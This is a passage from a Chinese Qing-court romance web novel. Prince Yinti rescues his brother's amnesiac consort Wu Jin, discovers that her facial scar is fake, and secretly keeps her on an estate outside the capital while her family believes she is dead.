这三天,他只睡了几个时辰,皇阿玛见他可怜,又请他带上一百护军去寻找,只是都找遍了,就是不见人不见尸,胤禛都怀疑乌锦是被歹徒给带走了。
连五岁的曦宁都觉得不对劲,天天喊着
找额娘,有时候哭到停不下来,胤禛此时也没空管孩子,只能让福晋帮忙安抚。
又找了一天依旧无功而返,胤禛回到帐篷时整个人十分颓丧,又累又绝望,他很后悔让乌锦跟他分开而逃,要是没有分开的话,是不是人还能活着。
十三跟十四过来看他,十四原本在蒙古扎鲁特部那边跟延信一起镇压起义,听闻刺杀一事就带着少部分人过来,主要是过来查看皇阿玛的安危,他以为是皇阿玛遇到刺杀。
“四哥,人……还没找到吗?”十四担忧地问。
胤禛摇摇头。
“四哥,不管怎么样,你自己得先保证自己的安危,别让自己的身子先垮掉,人总会找到的。”十三跟着说道。
“是啊,十三哥说得对,四阿哥,你自己不能先倒下去。”胤禵觉得四哥这样子看上去随时都有可能倒下去,像是几天不眠不休,胡子拉碴,很明显的疲惫。
胤禛累得没有心思去敷衍十三跟十四的话,他勉强进食,吃个半饱后就躺下去歇息,他这几日太累了,躺下去没多久就睡着了。
胤禵跟胤祥只好先出去。
等胤禛醒来时,已是白天,他见到福晋在他帐篷内,他从床上坐了起来。
“爷,曦宁这孩子还是天天哭着找额娘,嗓子都哭哑了。”
胤禛嗯了一声,表示他听到了。
“爷,这次太子跟三阿哥都受伤了,你还没去探望过,是不是不大好?”
胤禛知道自己只顾着找人,没空去探望太子跟三哥,其实这几日大动干戈地找人,连皇阿玛都颇为不满。
“我今天会过去看看,你照顾好曦宁就行。”
“爷放心吧,弘晖跟曦玉他们一块陪着曦宁,曦宁昨天只哭了一小会,最重要的是找到乌妹妹,只要乌妹妹回来,曦宁肯定会没事的。”
胤禛不说话,他静静坐在床上,不知道在想什么,过一会儿,他才有所动作,先是用膳,后走出帐篷,依旧吩咐护军们去找乌锦,他自己先过去看看受伤的太子跟三哥。
太子受伤还是比较重的,但性命无忧,三哥只是皮肉伤,胤禛总觉得这事透着诡异,谁想要杀他们,难不成远在京城的大哥他们,把他们这些人都杀了,剩下他们,成功登基的机会就大了,尤其是杀掉二哥后,势必会有新的太子出现。
这几日,胤禛忙着找乌锦,没空想这些事,当他从三哥帐篷出来后,又过去皇阿玛那边,给皇阿玛请安。
“胤禛,这人不许再找了,你都找了四天了,还没找到,你还要找到什么时候,为了一个侧福晋,你难不成要将整个蒙古都翻过来,过几日就要启程回行宫了,这人是死是活都不重要了,一个女人而已,别忘了你的职责,我们大清的阿哥还没有因为一个女人就要死要活的,你有骨气一点,此事就此为止,别让阿玛对你失望。”
皇阿玛累积的不满终于对着他说出来,神情严肃,胤禛看向皇阿玛,尽管他知道乌锦生还的机会渺茫,但其实他有点不想放弃,只是面对皇阿玛的强硬,他只能点头。
从皇阿玛帐篷出来后,胤禛还是骑马去当初他们遇袭的地方寻一圈,依旧没有找到人,他们过几日要启程回热河行宫,启程回去后就更不可能找到人了。
胤禛看着这片葱郁的树林,心是空的。
十月底,一行人启程回行宫,因发生刺杀事件,皇阿玛已经决定提前结束这次塞外之行,回到行宫后歇几天便启程回京。
十四因为几个部落的冲突起事还没有彻底解决,仍然需要留在扎鲁特部这边,他只能拜托十四在他们离开后再帮他找找,在那里停留几天,问问当地的居民有没有见到陌生的女子。
胤禵跟他的几十兵将留下来,听四哥的话再找找,人不可能凭空消失,死也要见尸,他也来到四哥说的那个遇袭的地方,带着人在附近再搜寻一圈。
“十四阿哥,属下发现有一处山坑有人影。”
胤禵过去属下说的山坑处,往下眺望,仔细一看,底下似乎真的躺着一个人,不过这底下是各种灌木跟树木野草,几乎将人覆盖,只露出一点点衣角,十分隐蔽,若不是细看眼尖的话,压根不会注意到底下还有一个人。
这山坑高度还不低,天然山坑,没有下去的路,胤禵最后还是想办法找来绳子,将几个人降下去,把底下的人救上来。
还真是失踪多日的乌夫人,乌夫人不知昏迷了多久,他探了探乌夫人的口鼻,还有微弱的呼吸,他发现乌夫人露出来的皮肤,包括脸庞都有一些划伤,应该是被那些树枝灌木划伤的,最严重的伤是在后脑勺,因她昏迷至少七八日,后脑勺伤口处的血迹都已经干涸,不过伤口很明显撞到什么坚硬之物,伤口露肉。
他见到乌夫人左脸的伤疤似乎也有点奇怪,边缘处有些掀起,他摸了摸,发现那块伤疤可以掀起来一块,底下是完好的皮肤,他试图揭开时没能揭开,他意识到这快伤疤像是粘上去一样。
不过怎么样,救人要紧,他把人带回去扎鲁特部落,带去他的帐篷里,想着乌夫人伤好一点,他就让人送乌夫人赶上四哥他们的队伍,不知能不能呢赶上。
他这次没有带贴身宫女出来,还是从延信那边借来两个丫鬟过来伺候乌夫人,请来蒙古这边的大夫给乌锦医治。
大夫也说最致命的伤口是在后脑勺处,看上去是皮肉伤,但一看就是摔得不轻,摔到脑袋可不是小事,具体的还得看人能不能醒来才知道伤得如何。
其它伤口淤青都是皮肉伤,大夫给包扎好后,胤禵让延信的两个丫鬟给乌夫人擦身换身衣服,还给她喂一些能进口的水跟粥,汤药也喂进去。
虽然乌夫人人还昏迷,但能进食,虽然慢一些,但能吃进去东西是好事。
胤禵想着等乌夫人醒来,看看乌夫人伤势如何,他再给四哥传信,万一乌夫人没能醒过来,岂不是让四哥空欢喜一场。
从白天到黑夜,帐篷外都安静下来,帐篷内点着几盏烛灯,胤禵还没睡,没有睡意,坐在案桌前已经提笔写信。
直到床那边传来一点动静,乌夫人好像要醒了,胤禵连忙看过去,见昏迷的乌夫人眼睫毛颤动,他起身走过去。
床上的人幽幽转醒,眼睛睁开,刚醒,人有些迷糊。
“醒了,有没有哪里不舒服?”
“你……你是谁?”
这问把胤禵问懵了,乌夫人怎么会不知道他是谁,他惊讶问道:“你不记得我是谁了?我是十四阿哥胤禵啊。”
床上的人摇摇头,但她后脑勺有包扎好的伤口,她摇头时似乎碰到伤口所以皱眉,他示意丫鬟把人搀扶起来,人靠在床头坐着。
“你是谁?我这是在哪里?”
乌夫人这话把胤禵弄懵了,他不确定地问:“你真不记得?我是胤禵啊,我们见过很多次。”
乌夫人还是摇头,一双眼睛满是茫然无辜,最可怕的是乌夫人接着又说了一句:“我是谁,我这是在哪里?我的头好疼。”
胤禵赶忙让丫鬟去出去叫大夫过来,在大夫过来之际,他不死心地又问一句:“你真不记得我吗?你记不记得你自己叫什么?你记得你的名字吗?”
“我叫什么,我叫什么?我不知道我叫什么。”
胤禵看到乌夫人十分迷茫的样子,似乎在回想自己叫什么,但回想不起来后又看着他,眼神很天真,不谙世事,他知道乌夫人恐怕是真的摔坏脑袋了,什么都不记得了,连自己是谁都忘了。
大夫过来,他忙扯过大夫,让大夫上前给乌夫人看看,大夫查看一番后又问了几个问题,乌夫人都说不知道,她真的什么都不记得了。
大夫说乌夫人摔到脑袋,可能得了失魂症,什么都不记得,有可能很快记起来,也有可能一辈子都记不起来,乌夫人不记得自己是谁,不记
得他是谁,甚至连四哥跟孩子都不记得。
大夫说乌夫人此时跟孩童无异,她什么都不记得了,在她身上发生过的事情通通都不记得了。
胤禵问大夫要怎么治,大夫说只能日后看她字迹能不能想起来,想不起来也没有办法,可能她回到熟悉的环境中会比较快想起来。
送走大夫后,胤禵看向乌夫人,他自己也跟着迷茫,不管怎么样,恐怕都得让乌夫人养好伤才能将她送回到四哥身边。
“饿了没有,要不要吃点东西?”
乌夫人点头。
胤禵便让丫鬟去提膳,上来的膳食还是以清淡为主,一份水煮羊肉、一碟青菜跟一份粥,乌夫人是真的饿了,吃了不少。
人什么都不记得了,胤禵一时也不知道拿她怎么办,乌夫人吃好后,他让人把膳食撤下去。
“那个……你在这里睡吧,她们两个是伺候你的,我过去别的帐篷睡。”
胤禵刚想走就被乌夫人拉住手臂,她怯怯地说了一句她害怕。
“不用害怕,有什么事吩咐她们就行,我就在隔壁。”
“不行,你不能走,我害怕,你要待在这里。”
胤禵觉得乌夫人可能刚醒过来时第一个见到他,对他依赖起来,只是她毕竟是四哥的侧福晋,不是他的侧福晋,他怎么能跟她共睡在一个帐篷内,虽说这帐篷内有两张床。
“不行,夜深了,我不能跟你在同一个帐篷内,我还有事,你自己睡吧。”
胤禵想拿开乌夫人的手,但她抓得紧紧的,许是真的害怕他离开,她眼眶开始泛红,眼眸里有泪珠溢出,看上去十分可怜。
大夫说她此时跟孩童无异,害怕也是自然的。
“好啦,我不走,我留在这里,你松手吧。”
胤禵最后决定留下来,夜深了,他想睡了,此时有点困了,不过乌锦刚睡醒,显然没有睡意,她眼珠子四处转,在看帐篷内的东西。
“你是谁?”她又问了一遍。
“我是十四阿哥胤禵。”
“十四阿哥是什么东西?”
胤禵一愣,他要怎么跟她说这些,明明她会说话,可是她又不懂这些字是什么意思,他无奈道:“十四阿哥是人,你以后叫我十四就行。”
“十四,那你叫我什么?”
胤禵不知为何,不想说乌夫人三个字,他便说她叫乌锦。
“什么乌锦?”
“你的名字叫乌锦。”
“长什么样?”
胤禵于是去拿笔写在纸上给她看,她看上去不懂这两个字,一脸茫然,他记得乌夫人有个小名的,好像叫桃子来着,他也忘了他是怎么知道的。
“算了,你叫桃子,桃子你知道吗?可以吃的。”
“桃子我知道,甜的。”
胤禵见她还知道桃子是什么,心想她其实还是知道一些东西的,并非真的像一两岁的小孩一样什么都不知道,他点头:“是甜的,以后拿来给你吃,很好吃的,你就叫桃子吧。”
乌锦还是比桃子难记一些,叫桃子更方便一些。
乌锦清醒了一个多时辰才犯困,她犯困后才睡下,他也得以歇息,睡在另外一张床。
不知过了多久,胤禵听到哭声,他睁眼,哭声从乌锦那边传来,他起来,唤人进来点灯,问她怎么了。
“黑,我害怕,我怕黑。”
原来是这个原因,胤禵只好叮嘱伺候的奴才别熄灯,他见到乌锦害怕地抓着被子,他安抚道:“好啦,不会再变黑了,继续睡吧。”
“你别走。”
“好,我不走,我就在旁边,你看得到的。”
乌锦这才重新闭眼。
胤禵听到乌锦那边呼吸变得平稳,没了动静后他才再次入睡。
翌日,他醒来时见到乌锦已经醒了,她在帐篷内玩那些茶具,茶水在两个茶杯之间倒着玩,两个丫鬟在一旁看着,见到他醒了,她立即跑过来,高兴道:“十四,你醒啦,我都醒好一会了,没人陪我玩。”
“你好点了吗?有没有哪里疼?”
“不疼,我不疼。”
胤禵昨夜是和衣而眠,他醒来后,外头的两个太监贾有财跟洪巍进来,他们是跟着他过来的两个太监,贴身伺候他的,也是见过乌夫人的人。
他们进来时不由地多看乌夫人几眼,没想到乌夫人会变成这样。
“再看就挖了你们的眼。”
两人吓得不敢再乱看,忙着伺候十四阿哥洗脸漱口,问要不要传膳,说方才都统大人求见。
“她吃过没有?”胤禵问伺候乌锦的两个丫鬟。
“乌夫人还没有。”
“我不饿。”乌锦抢答。
“那汤药呢?熬好了没有,先喝汤药吧,膳食也摆上来吧。”胤禵吩咐道,虽然现在她不饿,但距离上一顿也过去一夜了,多少吃点,吃多少算多少,乌锦在山坑底下应该好几天没有进食。
其中一个丫鬟去把熬好的汤药拿过来,想要喂给乌锦时,乌锦刚喝一口就吐出来,一张脸皱成一团,说好苦。
“良药苦口,你身上有伤,之前还流血了,得喝药。”
“我不要喝,好苦,一点都不好喝。”
乌锦像小孩子一样任性起来,无论怎么劝都不肯喝药,胤禵只好道:“不喝的话,今晚你就不能睡在这。”
“那我睡哪?”
“睡外面,外面有野狼的,说不定会把你叼走。”
胤禵见到乌锦眼里真的闪过害怕,她也略显犹豫,在想要不要喝药,他又说了一句:“你一口气喝了,会有甜的蜜饯给你,对你好的,不然你没法好。”
丫鬟很有眼力劲地把一碟蜜饯呈在乌锦面前,乌锦先拿一块蜜饯放进嘴里,甜的蜜饯让她整个人都开心起来。
“先喝药,喝完药这些才都是属于你的。”
乌锦这才肯喝药,不过喝两口就不想再喝,她又吃一块蜜饯才继续,见她真的听话地喝完,胤禵不由地勾勾嘴角。
膳食摆上来时,乌锦只想吃蜜饯,胤禵让她喝一碗肉汤,汤比药好喝,她就喝了一碗汤,他没有强行逼迫她吃饭,等她饿的时候应该自己会想吃的。
他准备换身衣服出帐篷时,乌锦像是他的小尾巴一直跟着他,他回头看她,说道:“你自己在帐篷内玩,我有事出去一趟。”
乌锦摇头。
“你要跟着我?”
乌锦点头。
“不行,你先好好养伤,我很快就会回来。”
她依旧摇头,胤禵心情复杂,知道她心里是不安的,为什么不安,可能什么都不记得的缘故,他只好让人把延信叫过来这边。
延信过来时见到乌锦,一上来就问道:“她真的什么都不记得了?连四阿哥都不记得了?”
“是,你别当着她的面说这些。”胤禵压低声音说话,看了看在一旁吃瓜果的乌锦,不想这些话传到她耳朵里。
“那怎么办?你打算什么时候传信给四阿哥?”
“不着急,她伤还没好,一时半会不能远途奔波,先别告诉四哥,先养好伤再说,看她能不能想起来,四哥那边不着急。”
延信觉得哪里不对劲,又说不上来,觉得十四阿哥可能是怕四阿哥又折返回来,才刚刚遇袭,在路上出什么事就不好了,所以才不着急告诉四阿哥。
“她昨晚在你这睡的?”
“嗯,她很害怕,你别多想,她现在是特殊情况。”
“我能多想什么,我当然知道乌夫人现在是什么情况。”延信其实只跟乌夫人有一面之缘,是四阿哥有一次带她过来跟他们一起狩猎,当时乌夫人看上去就很聪颖,此时的乌夫人细看的话能看出来跟成人不一样的地方,她吃东西的时候看上去很憨傻,眼神很天真无辜,不过人还活着,这算是好事。
他只听说四阿哥找乌夫人找了几天几夜,连皇上都对四阿哥的举动不满,觉得四阿哥太过儿女情长,为了一个女人不值得。
其实他也觉得不值得,一个女人而已。
延信过来也不是只为了乌锦的事,蒙古这边几个部落还没商量好,要他们过去主持公道,不然他们还能打起来。
两人又就着这事聊了好一会,延信离开后,胤禵又看在一旁拿着暖炉玩的乌锦,在他看她时,她也抬头看到他,对着他傻呵呵地露出笑容。
“十四,你陪我玩啊。”
“你先自己玩吧,我还要事要做。”
胤禵发现了,只要在这个帐篷内,只要她能看着他,她就不会不安,一旦他想出去,她就想跟着。
乌锦虽然没有了记忆,但她不完全像小孩子,至少她很乖,不闹事,就是很黏他,之后几天,胤禵出去时会把她带上,不过她的脸比较让人印象深刻,他会让她戴上面纱,让她跟在他身边。
几天过去,显然乌锦也没有恢复记忆的迹象,倒是伤口慢慢好了。
就这样过去十天,延信问他何时给四哥递信了,他犹豫了。
“
十四阿哥,你不会是看上乌夫人了吧。”
胤禵没有反驳,这十天里,乌锦很依赖他很信任他,像条小尾巴一样跟在他身边,他知道自己这样做很不对,他应该传信给四哥告诉四哥乌锦还活着,信其实已经写好了,但他迟迟没有送出去。
延信毕竟年长十四阿哥十几岁,前几天他还没明白,但后面几天他就看出来十四阿哥对乌夫人的特殊,乌夫人没失去记忆前对十四阿哥是什么印象,他不知道,但他知道肯定不会是喜欢,毕竟十四阿哥是四阿哥的亲弟弟,乌夫人不至于这么没有分寸,倒是十四阿哥显然早已对乌夫人有几分喜欢的心思,不然也不会在乌夫人丧失记忆后想对乌夫人占为己有。
“十四阿哥,你别忘了她是四阿哥的侧福晋。”
“四哥以为她死了,四哥不会知道她还活着。”
延信知道十四阿哥恐怕意已决,他也不好再劝,的确,四阿哥那边肯定以为乌夫人已经死了,十四阿哥真要藏一个人,其实还是能做到的。
只是如今他们远在蒙古还好,要是回到京城,这人恐怕就不好藏,更何况乌夫人现在是什么都不记得了,万一到时候她记起来了呢,十四阿哥这无异于竭泽而渔。
“十四阿哥,你自己想好就行,我也会守口如瓶的。”
“谢谢延信哥。”
延信何德何能能担十四阿哥倨叫他一声哥,他拍了拍十四阿哥的肩膀,说道:“你就不怕乌夫人想起来吗?”
“等她想起来再说,她有可能一辈子都想不起来。”
延信知道十四阿哥是真的决定好了,四阿哥那边以为乌夫人已经死了,肯定不会派人找乌夫人,就是为了一个女人,十四阿哥这么做真的值得吗?万一四阿哥知道了,亲兄弟反目成仇怎么办,四阿哥这人看似温和,但不是什么都不计较之人,他可是听说乌夫人是从外室晋升为侧福晋的,首先从一个外室能被接进贝勒府,还被册封为侧福晋,四阿哥对乌夫人显然不是无情,不是不在意,有几分情意才会这么抬举乌夫人,十四阿哥等于是虎口夺食,四阿哥知道真相后恐怕少不了纷争。
延信劝不了,只当做不知。
第93章第93章更新
“这个好吃。”
胤禵给乌锦夹一块烤鸭放进她面前的布菜碟中,在草原这边,牛羊肉为主,烤鸭有,但做起来麻烦,毕竟不是在京城,他身为阿哥,出门在外也不能太讲究,他特意让膳房的人给乌锦做的,她这阵子一直吃清淡水煮的食物,大夫说不用忌口了,他就让人做了烤鸭。
乌锦很快用手抓着那块烤鸭吃,吃得津津有味,嘴上都是油,边吃边冲着他笑。
“慢点吃,没人跟你抢,以后不能用手抓,可以用筷子夹,像这样。”
乌锦顾着吃,也不知听没听进去,胤禵就没有继续打扰她,让她吃个过瘾,她连吃好几块烤鸭,好在她自己知道饥饱,吃饱后会自己停下来。
“不吃了?擦擦手。”胤禵亲自用手帕给乌锦擦手,让丫鬟打水过来,把她的手跟脸都洗干净后,他让她到旁边自己玩,他给她弄来许多小孩子能玩的玩具放在她床上,她有时候会自己一个人玩,这个时候他就可以做他的事,处理折子。
皇阿玛已经召他们回京,蒙古部落的冲突已经解决得差不多,胤禵知道最迟十二月初就要回京,他住在宫中,不可能把乌锦带回宫中,他已经跟延信说好,先将乌锦住在延信府中。
只是乌锦现在很黏他,只要见不到他,她就开始不安,也会哭,回京后,她恐怕不能随时跟着他。
胤禵一想到这就有些头疼,还有点失落,他也把她时时带在身边,只是不能,回到京城后,他也怕有人会认出她,他想着想着,目光就落在乌锦脸上那块疤上。
他让帐篷内的奴才先出去,他走到乌锦身边,乌锦正在玩一只布偶兔子,揪着兔子的耳朵,嘴里不知在嘀咕什么。
他的手放在她脸上,她抬头,眼神里透着疑惑,但很快她就歪歪脑袋,将她的脸贴着他的手掌,对着他笑,他的手也不由地贴得更实。
“我摸摸你的脸,你等会别动好不好?”
“为什么要摸我的脸?”
“没为什么,我就摸一摸,等会给你吃糖。”
乌锦立即答应,主动执起他的手摸她的脸,她很喜欢吃甜的东西,口味也变得跟小孩子很像,胤禵摸她脸上的疤,仔细一摸发现这块疤是整个凸起的,原先从山坑把她救出来时,他就发现她的疤掀起一小块,但过去半个月,原先掀起的那一小块又紧紧贴着她的脸了,若不是他记得清清楚楚,他都怀疑他当时看错了。
他用力想把这块疤抠起来,他总觉得这块疤是可以抠下来的。
“十四,疼。”
胤禵见乌锦眼中又开始泛泪了,似乎真的把她弄疼了,他才没有继续抠,又变成轻轻揉抚着她的脸。
“十四,你的手好热,我好喜欢。”
如今已经是十一月中旬,这塞外的冬日就更加寒冷,帐篷外是冰冷刺骨,帐篷内燃着炭才暖和一些,她的脸微冷,而他的手掌温热,也怪不得她喜欢。
他就这样不停地抚摸着她的脸,异样的凸起让他觉得这块疤不同寻常,不像是真的伤疤,想着要怎么才能将这块疤揭下来。
这块疤能在乌锦脸上存在多年,而不被外人发现异样,肯定不是简单地黏在她脸上,他想着要不要找大夫看看,只是这事能少一个人知道就少一个人知道,他还是自己想想办法。
“糖,我要吃糖。”
“好,我去给你拿,只可以吃一块。”胤禵过去给她拿一小块酥糖,她吃到糖后整个人都开心起来,笑眯眯的,十分可爱,他又忍不住摸了摸她的脸。
过一会儿,他才让她自己一个人玩,他过去案桌前看折子跟来信。
夜里,乌锦睡着后,胤禵又过去她床边,想再看看她脸上的疤,他再尝试用力抠,试图把它揭起来,在非常用力之下,他真的掀起边缘处,底下是乌锦完好的皮肤,他就肯定这块疤肯定能拿掉。
只是他这一折腾,也把入睡的人折腾醒了。
“唔,十四,你在干什么?”
“没干什么,你继续睡吧。”
乌锦迷迷糊糊,又闭上眼睛继续睡。
胤禵等她再次入睡后,让奴才给他打一盆热水,热水能将很多东西软化,他先试一试热水能不能将这块疤软化,他将毛巾泡在热水中,拧干后放在乌锦脸上,如此不停地重复,不知过了多久,他再用力掀开那块疤时发现起了一点作用,他一狠心,揪着已经起来的边缘用力扯,就真的把那块疤揭下来,也再次把乌锦弄醒。
乌锦不明所以,许是刚才他太过用力,弄疼她了,她放声大哭,胤禵都来不及看那块疤,只好先哄她,让她再吃一颗糖,她才没有继续哭。
过了半个时辰,她才又睡着。
胤禵看乌锦的脸,她的脸已经没有那块疤,整张脸白皙光滑,即便她此时在睡觉,也能看出她是美人胚子。
有那块疤的时候,别人第一眼只会注意到她脸上那块丑陋的疤痕,也就不会觉得她好看,没有了那块疤才会注意到她整个五官,无一不精致。
他摸那块疤下的皮肤,没有一点褶皱,他又细看揭下来那块疤,细看加上揉捏才发现跟人的皮肤还是有不一样的地方,竟然是假的。
乌锦为什么要往自己脸上黏一块假疤,她不想让人注意到她的美貌吗?四哥他知不知道乌锦脸上的疤是假的?
四哥应该不知道吧,现在只有他一个人知道,胤禵看着熟睡中的乌锦,盯着她的脸庞,此时此刻心情很复杂。
他不可能从现在的乌锦口中得知她遮掩自己样貌的真相。
这样也好,没有这块疤,回到京城后,没见过乌锦的人应该不会将她跟四哥的侧福晋联想到一块去。
乌锦哼了一声,不知在做什么梦。
胤禵笑了笑,把那块疤收起来,终于可以去睡觉了。
翌日,胤禵是被乌锦弄醒。
“十四,该吃饭了。”
这些日子,他们基本上三餐都在一块吃,她把他叫醒是因为她饿了,她不能一个人吃,要等他一起,可能他太久没起来,她才把他叫醒。
“好,吃饭。”胤禵睁眼见到乌锦的脸,她本来就有一双十分好看的眼睛,没有那块疤后,她整个人十分精致娇俏,脸庞细腻如瓷,是他见过最好看的女子。
她自己都没有意识到她脸上的疤不见了,可能她意识到了,觉得比不上吃饭重要。
胤禵起身,把贾有财叫进来,让他摆膳。
贾有财进来后见到乌夫人脸上的疤没有了,很是诧异,不过十四阿哥把乌夫人护得跟眼珠子似的,他再惊讶也不敢多看,很快出去提膳。
等吃饱后,胤禵带乌锦出帐篷,离回京没剩
下几日了,他们能在外面一起出现的日子不多了。
胤禵还是让乌锦戴上面纱,只露出一双眼睛,别人问他,乌锦是谁时,他说是别人献给他的蒙古美人。
乌锦跟在他身边,见到生人时会躲在他身后,只有眼睛往前看,应该说除了他还有在她身边伺候的丫鬟奴才,其他人对她而言都是生人,她都害怕。
“我带你骑马好不好?”
“不要,我害怕。”
“没事,不用害怕,你跟我共骑一匹马,我护着你。”胤禵觉得回到京城后,他跟乌锦可能连见面的次数都变少,像这样在草原上驰骋的机会更是不多,趁着还没回京,他把想要做的事情做了。
胤禵命人牵来一匹温顺不高的马,他带着乌锦骑上去,乌锦坐在前面,刚开始她很害怕,之后他带着她骑一圈后,她就彻底放开了,在他怀里笑个不停,一直说好玩。
胤禵反倒有些心猿意马,他还没有经历过人事,四哥说他是处子之身是对的,此时温香软玉就在他怀里,又是他喜欢的人,乌锦身上散发着幽香,他又不是什么都不懂的年纪,他怎么可能不胡思乱想。
他知道如今的乌锦太天真懵懂,他不能在这个时候趁人之危,心里其实也有点害怕,怕她突然想起什么,真跨出那一步,什么都会改变,所以他暂且忍着。
“十四,好大的风。”
“抓紧了,我让你感受更大的风。”胤禵用缰绳拍拍马屁股,骑得更快了,乌锦的笑声也变得零碎起来。
过了一会儿,玩够的两个人一起走回营里。
“好好玩啊,十四,下次我们还玩好不好?”
胤禵见乌锦高兴地抱住他手臂,双眸澄澈明亮,她自己都没意识到她贴得太近,在她眼里,此时恐怕没有男女之别,男女授受不亲,她更是不懂。
他应道:“好,下次再带你骑马。”
乌锦笑得很开心,笑容仿若春日里绽放得最灿烂的花,整个人明媚娇艳,依旧抱着他的手臂不放。
在还没启程回京前,胤禵天天带着乌锦出去玩,骑马狩猎,追逐羊群、看风景,烧烤,参加篝火晚宴。
十二月二日,离回京只剩下三日。
乌锦这几天也玩累了,难得不想出去玩,只待在帐篷里安静地玩那些小孩子玩的玩具,她有时候嘴里哼唧,似乎在唱什么歌,他反正没听出来她在唱什么歌。
到了傍晚,洗完澡的她已经躺下来,准备睡觉。
“十四,我们一起睡。”
胤禵知道她说的是他们一起躺下来,并非是真的一起睡,他点点头,也躺了下来,躺在他的床上。
帐篷内烛灯还亮着,乌锦怕黑,基本上晚上都会亮着,他让乌锦可以闭上眼睛了,她就乖乖地闭上眼睛。
入夜后,帐篷内很安静,胤禵不知不觉中也睡着了,不知过了多久,他觉得身边多了一具温热的身体,他一摸,摸到人后,他立即睁眼,见到乌锦不知何时过来他的床上,正整个人往他怀里拱。
这是第一次,她之前虽然有一些举动,比如抱住他手臂,握着他腰上的玉坠,但从来没有跑到他床上跟他一起睡的行为。
他才发现外面似乎下雨了,轰隆隆的,电闪雷鸣,雨水砸在帐篷顶上也有声音,乌锦应该是吓到了。
“桃子,你这是干什么?”
“十四,我害怕,我跟你一起睡好不好?我不要一个人睡。”
“不行,你要一个人睡,我就在这里,不用害怕,只是下雨打雷了,你去你床上睡。”
“不要,我害怕。”
胤禵垂眸一看,乌锦声音哽咽,眼睛里已经溢满泪水,样子十分可怜委屈,突然下雨打雷似乎真的吓到她了,她身子都有点颤抖。
“不要赶我走好不好,十四,我害怕,外面好大声,我不要一个人,呜呜呜……”乌锦哭起来,哭得梨花泪下。
胤禵无可奈何,最后还是没有将人推开,虚搂着她的腰,安抚她,让她别哭了。
是无可奈何还是别的,恐怕只有他一个人知道了。
等哭声没了之后,他再看,怀里的人已经睡着了,眼角还有泪珠,就这样睡着了。
他原本是虚搂着,后面忍不住将人结结实实搂在怀里,他突然不想回京城了,其实就在塞外挺好的。
唉。
过了十五日,胤禵跟延信等人回到京城,胤禵回宫,本来他打算让延信把乌锦带回他的府里,后来又觉得延信府里有福晋等人,他就让延信把人安置在他城外的庄园那边。
回宫后,胤禵先过去皇阿玛那跟皇阿玛说蒙古那边的情况,事情如何解决的一一告诉皇阿玛,得到皇阿玛的夸赞后,他才回到阿哥所。
今日不宜出宫,胤禵就在宫里过了一夜,第二天,他也没有过去找乌锦,而是去一趟四哥那里,四哥那其实没什么不一样,除了少了一个人。
四哥是消瘦一些,不过看起来还好,他跟四哥说话时,四哥也没有提起乌锦,一切如旧,到最后,他才忍不住提了一句乌锦的丧事办了没有。
四哥说已经办完了,胤禵还见到乌锦的牌位,四哥肯定以为乌锦已经死了,他从四哥那出来后,可能是自己心里有鬼,他也没敢往乌锦那里去,想着明日再过去。
明日一早,他就出宫,只带了两个太监,他来到城外的庄园,这庄园是延信自己的庄园,跟皇庄比,这庄园不算特别大。
还是先前那两个丫鬟照顾乌锦,是延信的人,另外还有两个护军过来守着庄园,他不在的时候,乌锦肯定不能外出。
他刚进房间就听到乌锦在哭,乌锦一抬头见到他,立即下铺炕赤着脚跑过来抱住他。
“十四,你去哪了,我好害怕,我找不到你,这里好陌生,我不要待在这里,我们回去好不好?”
胤禵抚摸她的后背安抚她:“别害怕,我只是有事要忙,不住在这里,我一有空就会过来找你,你先一个人住在这边好不好?”
“我不要一个人,我一个人害怕。”
“不怕不怕,你看我不是过来了嘛,十四没有丢下你,你先在这里玩几天。”
“十四为什么不在这里?”
胤禵替她擦去眼泪,说他有事要忙,要忙着赚银子养她,有银子后才能给她买糖吃。
“别哭了好不好,这里其实也挺好玩的。”
乌锦抿着嘴不说话,见到人后也平静下来了。
“我有空就会过来看你,别担心,我不会丢下你的,你先跟她们住在这里,等我忙完就来找你。”
“你不能一直在这里陪我玩吗?”
“不能,我有事要忙。”
许是他肯定严肃的样子让她知道这事没有回转的余地,她才没有继续让他陪她玩,胤禵问了两个伺候的丫鬟才知道乌锦这两日一直哭着找他,没怎么吃饭。
“饿不饿?先吃点东西好不好?”胤禵将乌锦耳边的碎发撩到耳后,温声道。
“饿,你陪我一起吃。”
“嗯。”
胤禵示意两个丫鬟去提膳,他陪着乌锦吃了一会,乌锦虽然失忆,但有时候教她做什么,她学一两遍就会了,比如拿筷子
,不让她手抓食物,制止过几次后,她也知道这样做是不可以的,就没有再手抓食物。
刚到一个新地方,加上这两天没睡好,乌锦吃饱后就开始打瞌睡,他让她回床上睡觉,她听话照做。
胤禵怕她醒来又找不到他,他一直等她睡醒后才跟她告别,说他过几日再来看她,让她先好好待在这里。
乌锦这次乖乖点头。
他再叮嘱伺候的两个丫鬟,让她们务必把人盯紧,别让她走出庄园,然后他才离开。
尽管他说过几天来看乌锦,但他怕有人跟着他,四哥先前在宫外养着乌锦时,好像两年不到就被人发现了。
他必须要小心,他过了七天才过来找乌锦,还是从延信府上过来,他过来时,见到乌锦正蹲在地上,不知在看什么,这回没有哭了。
他来到她身后,示意丫鬟别出声,他蹲下来,见到她是在看地上的蚂蚁爬动,他轻咳一声后,她才发现他。
“十四……”她惊喜道。
“有没有想我?”
“想了,十四,一、二、三、四……”她掰着手指数数,没数明白,她就说他好多天没来找她了。
他就摊开她两只手,教她数数。
“一个手指头,两个手指头、三个手指头……”
他念一遍,她学一遍,他教两遍,她就学会了。
“你再数数你一共有几根手指头。”
乌锦认真地数手指,胤禵越看她越觉得可爱,她十根手指头都伸出来,说了一个十字。
“真聪明,你是聪明的桃子。”
“桃子?我想吃桃子。”
这会还不是吃桃子的季节,新鲜桃子难得,不过腌制的桃子应该吃得到,胤禵向她保证道:“别担心,再过几个月就可以吃到了,你这几日都做了什么?”
“看树,这里好多树。”
“你也带我去看看好不好,你都看了哪些树,你指给我看好不好。”
“好,十四,你跟我来。”
乌锦主动牵起他的手,胤禵不由地加紧握住,她回头稍显疑惑,他假装没看到,没松手,她也没有松开,牵着他往前走。
庄园里是种着一些果树的,她很兴奋地指给他看,她还知道这些树是什么果树,看来是有人跟她说过。
胤禵觉得好在这是庄园,里面的花花草草跟果树可以让她的新鲜劲保持一会,分散她的注意力。
胤禵在庄园里陪乌锦半天,虽说乌锦还是有点不舍得他离开,不过她没有哭鼻子,只说她会在这里等他,乖巧可爱模样让他都舍不得离开,恨不得天天跟她待在一块。
……
